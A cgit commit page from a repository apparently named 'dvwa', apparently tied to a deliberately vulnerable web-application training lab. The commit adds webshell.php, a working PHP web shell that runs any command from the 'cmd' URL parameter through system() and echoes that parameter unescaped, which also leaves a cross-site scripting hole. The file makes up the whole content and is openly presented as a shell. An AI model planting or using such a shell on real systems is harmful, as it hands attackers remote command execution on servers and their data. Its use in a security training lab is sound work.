summaryrefslogtreecommitdiff
path: root/webshell.php
diff options
context:
space:
mode:
authorjerome <jerome@xlinfo.fr>2023-09-19 17:02:40 +0200
committerjerome <jerome@xlinfo.fr>2023-09-19 17:02:40 +0200
commit2585495cfab54366a668777216b88a4f4b686102 (patch)
tree9487b4d11eba4f46566a4a99bcef512d79717e74 /webshell.php
downloaddvwa-2585495cfab54366a668777216b88a4f4b686102.tar.gz
dvwa-2585495cfab54366a668777216b88a4f4b686102.zip
commit initial
Diffstat (limited to 'webshell.php')
-rw-r--r--webshell.php19
1 files changed, 19 insertions, 0 deletions
diff --git a/webshell.php b/webshell.php
new file mode 100644
index 0000000..679bb7a
--- /dev/null
+++ b/webshell.php
@@ -0,0 +1,19 @@
+<!DOCTYPE html>
+<html>
+<head>
+<title>Web shell</title>
+</head>
+<body>
+<h1>Web shell</h1>
+<p>Votre commande :
+<?php if (isset($_GET['cmd'])) echo $_GET['cmd'] ?>
+</p>
+<form>
+<input type="text" name="cmd" autofocus />
+<input type="submit" />
+</form>
+<pre>
+<?php if (isset($_GET['cmd'])) system($_GET['cmd']) ?>
+</pre>
+</body>
+</html>